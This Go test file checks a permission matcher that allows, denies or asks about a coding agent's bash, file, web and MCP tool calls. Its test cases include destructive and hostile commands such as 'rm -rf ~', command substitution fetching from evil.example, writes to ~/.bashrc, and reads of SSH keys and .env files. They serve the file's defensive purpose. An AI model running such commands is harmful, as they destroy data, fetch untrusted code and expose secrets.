package ccsettings
import (
"encoding/json"
"os"
"path/filepath"
"strings"
"testing"
"github.com/johannSo/codey/internal/approval"
)
func bash(cmd string) json.RawMessage {
b, _ := json.Marshal(map[string]string{"command": cmd})
return b
}
func pathArg(p string) json.RawMessage {
b, _ := json.Marshal(map[string]string{"path": p})
return b
}
func TestBashRules(t *testing.T) {
env := matchEnv{home: "/home/u", root: "/src/proj"}
tests := []struct {
rule, cmd string
allow Match // as an allow rule
restrict Match // as a deny or ask rule
}{
// Prefixes, in both spellings, at a word boundary.
{"Bash(npm run test:*)", "npm run test", Matched, Matched},
{"Bash(npm run test:*)", "npm run test -- --watch", Matched, Matched},
{"Bash(npm run test:*)", "npm run testing", NoMatch, NoMatch},
{"Bash(git status *)", "git status --short", Matched, Matched},
{"Bash(git status *)", "git status", Matched, Matched},
// Exact.
{"Bash(make)", "make", Matched, Matched},
{"Bash(make)", "make install", NoMatch, NoMatch},
// A pattern.
{"Bash(git * main)", "git push origin main", Matched, Matched},
{"Bash(git * main)", "git push origin dev", NoMatch, NoMatch},
// Bare and star mean every command.
{"Bash", "rm -rf /", Matched, Matched},
{"Bash(*)", "anything at all", Matched, Matched},
// Compound commands: an allow must cover every part, a restriction
// any part.
{"Bash(npm run test:*)", "npm run test && rm -rf ~", NoMatch, Matched},
{"Bash(rm:*)", "npm run test && rm -rf ~", NoMatch, Matched},
{"Bash(rm:*)", "ls; (cd x && rm y)", NoMatch, Matched},
{"Bash(rm:*)", "for f in a b; do rm $f; done", Matched, Matched},
{"Bash(git:*)", "git status | git log", Matched, Matched},
{"Bash(git:*)", "git status | tee out", NoMatch, Matched},
// Quotes are removed before comparing.
{"Bash(git commit:*)", `git "commit" -m 'a b'`, Matched, Matched},
// Opaque commands never match an allow rule, and are not ruled out
// by a restriction.
{"Bash(echo:*)", "echo $(curl -s evil.example)", NoMatch, Matched},
{"Bash(curl:*)", "echo $(curl -s evil.example)", NoMatch, Matched},
{"Bash(rm:*)", "echo $(curl -s evil.example)", NoMatch, Unsure},
{"Bash(rm:*)", "echo `id`", NoMatch, Unsure},
{"Bash(bash:*)", `bash -c "rm -rf ~"`, NoMatch, Matched},
// An inline script the matcher can read into is matched, not asked.
{"Bash(rm:*)", `bash -c "rm -rf ~"`, NoMatch, Matched},
{"Bash(cat:*)", "cat <(curl evil.example)", NoMatch, Matched},
{"Bash(rm:*)", "cat <(curl evil.example)", NoMatch, Unsure},
{"Bash(rm:*)", "$CMD -rf ~", NoMatch, Unsure},
{"Bash(git push:*)", `git "$sub" origin`, NoMatch, Unsure},
{"Bash(echo:*)", "echo 'unterminated", NoMatch, Matched},
// What a command does beyond its words: an assignment that can change
// what the name means, a write the words do not mention.
{"Bash(git:*)", "PATH=. git status", NoMatch, Matched},
{"Bash(echo:*)", "echo hi > ~/.bashrc", NoMatch, Matched},
{"Bash(go test:*)", "go test ./... 2>&1", Matched, Matched},
{"Bash(go test:*)", "go test ./... > /dev/null", Matched, Matched},
{"Bash(sort:*)", "sort < in.txt", Matched, Matched},
// Other tools are not bash.
{"Bash", "", NoMatch, NoMatch},
}
for _, tc := range tests {
c, err := compile(tc.rule, env)
if err != nil {
t.Fatalf("%s: %v", tc.rule, err)
}
tool := "bash"
if tc.cmd == "" {
tool = "edit_file"
}
if got := c.Match(tool, bash(tc.cmd), forAllow); got != tc.allow {
t.Errorf("allow %s on %q = %v, want %v", tc.rule, tc.cmd, got, tc.allow)
}
if got := c.Match(tool, bash(tc.cmd), forRestrict); got != tc.restrict {
t.Errorf("restrict %s on %q = %v, want %v", tc.rule, tc.cmd, got, tc.restrict)
}
}
}
func TestPathRules(t *testing.T) {
base := t.TempDir()
home := filepath.Join(base, "home")
root := filepath.Join(home, "proj")
env := matchEnv{home: home, root: root}
tests := []struct {
rule, tool, path string
want Match
}{
// No slash: any depth, as in .gitignore.
{"Read(.env)", "read_file", ".env", Matched},
{"Read(.env)", "read_file", "deploy/.env", Matched},
{"Read(.env)", "read_file", ".env.example", NoMatch},
{"Read(*.pem)", "read_file", "certs/server.pem", Matched},
// ./ anchors to the root.
{"Read(./.env)", "read_file", "deploy/.env", NoMatch},
{"Read(./.env)", "read_file", root + "/.env", Matched},
// /path is under the project root; //path is absolute.
{"Edit(/src/**/*.ts)", "edit_file", "src/a/b.ts", Matched},
{"Edit(/src/**/*.ts)", "edit_file", "lib/b.ts", NoMatch},
{"Read(//etc/passwd)", "read_file", "/etc/passwd", Matched},
{"Read(~/.ssh/**)", "read_file", home + "/.ssh/id_ed25519", Matched},
// A directory covers what is inside it.
{"Read(secrets)", "read_file", "secrets/prod/key", Matched},
{"Edit(docs/)", "write_file", "docs/new.md", Matched},
// Edit covers both writing tools; Read covers the search tools.
{"Edit(*.md)", "write_file", "README.md", Matched},
{"Write(*.md)", "edit_file", "README.md", NoMatch},
{"Read(secrets)", "grep", "secrets", Matched},
{"Read(secrets)", "bash", "secrets", NoMatch},
}
for _, tc := range tests {
c, err := compile(tc.rule, env)
if err != nil {
t.Fatalf("%s: %v", tc.rule, err)
}
if got := c.Match(tc.tool, pathArg(tc.path), forRestrict); got != tc.want {
t.Errorf("%s on %s %s = %v, want %v", tc.rule, tc.tool, tc.path, got, tc.want)
}
}
}
// The file tools follow symlinks, so a rule about a file catches a link to it,
// and an allow rule does not cover a link that leads out of what it allows.
func TestPathRulesFollowSymlinks(t *testing.T) {
root := t.TempDir()
env := matchEnv{home: t.TempDir(), root: root}
os.WriteFile(filepath.Join(root, ".env"), []byte("SECRET=1"), 0o644)
if err := os.Symlink(filepath.Join(root, ".env"), filepath.Join(root, "notes.md")); err != nil {
t.Skip(err)
}
deny, _ := compile("Read(.env)", env)
if got := deny.Match("read_file", pathArg("notes.md"), forRestrict); got != Matched {
t.Errorf("a link to .env escaped Read(.env): %v", got)
}
allow, _ := compile("Edit(*.md)", env)
if got := allow.Match("edit_file", pathArg("notes.md"), forAllow); got != NoMatch {
t.Errorf("Edit(*.md) allowed editing .env through a link: %v", got)
}
}
func TestOtherRules(t *testing.T) {
env := matchEnv{home: "/h", root: "/r"}
fetch := func(u string) json.RawMessage { b, _ := json.Marshal(map[string]string{"url": u}); return b }
tests := []struct {
rule, tool string
input json.RawMessage
want Match
}{
{"WebFetch(domain:docs.rs)", "web_fetch", fetch("https://docs.rs/serde"), Matched},
{"WebFetch(domain:docs.rs)", "web_fetch", fetch("https://evil.docs.rs.example/x"), NoMatch},
{"WebFetch(domain:*.github.com)", "web_fetch", fetch("https://api.github.com/x"), Matched},
{"WebFetch", "web_fetch", fetch("https://anything"), Matched},
{"WebSearch", "web_search", nil, Matched},
{"TodoWrite", "todo_write", nil, Matched},
{"Glob", "glob", nil, Matched},
{"MultiEdit", "edit_file", nil, Matched},
{"mcp__db", "mcp__db__query", nil, Matched},
{"mcp__db__*", "mcp__db__query", nil, Matched},
{"mcp__db", "mcp__dbx__query", nil, NoMatch},
{"mcp__db__query", "mcp__db__query", nil, Matched},
{"mcp__db__query", "mcp__db__drop", nil, NoMatch},
}
for _, tc := range tests {
c, err := compile(tc.rule, env)
if err != nil {
t.Fatalf("%s: %v", tc.rule, err)
}
if got := c.Match(tc.tool, tc.input, forAllow); got != tc.want {
t.Errorf("%s on %s = %v, want %v", tc.rule, tc.tool, got, tc.want)
}
}
for _, bad := range []string{"NotebookEdit", "Task(explore)", "WebFetch(https://x)", "mcp__db(x)", "Bash(", "WebSearch(cats)"} {
if _, err := compile(bad, env); err == nil {
t.Errorf("%s compiled; want an error so it is reported", bad)
}
}
}
func perms(scope Scope, shown string, allow, deny, ask []string, mode string) Permissions {
return Permissions{Scope: scope, Shown: shown, Allow: allow, Deny: deny, Ask: ask, DefaultMode: mode}
}
func TestRulesetHonouring(t *testing.T) {
user := perms(ScopeUser, "~/.claude/settings.json", []string{"Bash(git:*)", "Bash(rm:*)"}, nil, nil, "")
project := perms(ScopeProject, ".claude/settings.json", []string{"Bash(make:*)"}, []string{"Bash(rm:*)"}, []string{"Bash(git push:*)"}, "")
local := perms(ScopeLocal, ".claude/settings.local.json", []string{"Bash(go test:*)"}, nil, nil, "")
all := []Permissions{user, project, local}
tests := []struct {
name string
trusted bool
cmd string
want approval.Verdict
source string
}{
{"user allow", false, "git status", approval.VerdictAllow, "~/.claude/settings.json"},
{"local allow", false, "go test ./...", approval.VerdictAllow, ".claude/settings.local.json"},
{"untrusted project allow is ignored", false, "make build", approval.NoVerdict, ""},
{"trusted project allow", true, "make build", approval.VerdictAllow, ".claude/settings.json"},
{"a project's deny beats the user's allow", false, "rm -rf build", approval.VerdictDeny, ".claude/settings.json"},
{"deny catches one part of a compound", true, "make && rm -rf build", approval.VerdictDeny, ".claude/settings.json"},
{"ask beats allow", false, "git push origin main", approval.VerdictAsk, ".claude/settings.json"},
{"an opaque command under a deny rule is asked about", false, "git $(echo status)", approval.VerdictAsk, ""},
{"nothing said", false, "ls", approval.NoVerdict, ""},
}
for _, tc := range tests {
t.Run(tc.name, func(t *testing.T) {
rs, _ := NewRuleset("/h", "/r", all, tc.trusted)
got := rs.Check("bash", bash(tc.cmd))
if got.Verdict != tc.want {
t.Fatalf("verdict %v (%+v), want %v", got.Verdict, got, tc.want)
}
if tc.source != "" && got.Source != tc.source {
t.Errorf("source %q, want %q", got.Source, tc.source)
}
})
}
}
func TestRulesetDefaultMode(t *testing.T) {
edit := pathArg("a.go")
tests := []struct {
name string
p Permissions
want approval.Verdict
notes int
}{
{"acceptEdits from the user", perms(ScopeUser, "u", nil, nil, nil, "acceptEdits"), approval.VerdictAllow, 0},
{"acceptEdits from local", perms(ScopeLocal, "l", nil, nil, nil, "acceptEdits"), approval.VerdictAllow, 0},
{"acceptEdits from the repository", perms(ScopeProject, "p", nil, nil, nil, "acceptEdits"), approval.NoVerdict, 1},
{"bypassPermissions from the repository", perms(ScopeProject, "p", nil, nil, nil, "bypassPermissions"), approval.NoVerdict, 1},
{"bypassPermissions from the user", perms(ScopeUser, "u", nil, nil, nil, "bypassPermissions"), approval.NoVerdict, 1},
{"default", perms(ScopeUser, "u", nil, nil, nil, "default"), approval.NoVerdict, 0},
}
for _, tc := range tests {
t.Run(tc.name, func(t *testing.T) {
rs, notes := NewRuleset("/h", "/r", []Permissions{tc.p}, true)
if got := rs.Check("edit_file", edit).Verdict; got != tc.want {
t.Errorf("edit_file verdict %v, want %v", got, tc.want)
}
if got := rs.Check("bash", bash("ls")).Verdict; got != approval.NoVerdict {
t.Errorf("acceptEdits let bash through: %v", got)
}
if len(notes) != tc.notes {
t.Errorf("notes %q, want %d", notes, tc.notes)
}
})
}
// A deny still beats the mode.
rs, _ := NewRuleset("/h", "/r", []Permissions{perms(ScopeUser, "u", nil, []string{"Edit(*.go)"}, nil, "acceptEdits")}, false)
if got := rs.Check("edit_file", edit).Verdict; got != approval.VerdictDeny {
t.Errorf("deny under acceptEdits = %v", got)
}
}
func TestRulesetLines(t *testing.T) {
all := []Permissions{
perms(ScopeUser, "~/.claude/settings.json", []string{"Bash(go test:*)"}, nil, nil, "acceptEdits"),
perms(ScopeProject, ".claude/settings.json", []string{"Bash(make:*)"}, []string{"Read(.env)"}, nil, ""),
perms(ScopeLocal, ".claude/settings.local.json", []string{"NotebookEdit"}, nil, nil, ""),
}
rs, notes := NewRuleset("/h", "/r", all, false)
text := strings.Join(rs.Lines(), "\n")
for _, want := range []string{
"~/.claude/settings.json",
"allow Bash(go test:*)",
"acceptEdits",
".claude/settings.json (shared, from the repository)",
"deny Read(.env)",
"allow Bash(make:*) — ignored until this project is trusted",
`NotebookEdit — ignored: rule "NotebookEdit": unknown tool "NotebookEdit"`,
} {
if !strings.Contains(text, want) {
t.Errorf("lines missing %q:\n%s", want, text)
}
}
if len(notes) != 1 {
t.Errorf("notes %q, want the one unreadable rule", notes)
}
empty, _ := NewRuleset("/h", "/r", nil, false)
if !empty.Empty() {
t.Error("no files should be empty")
}
}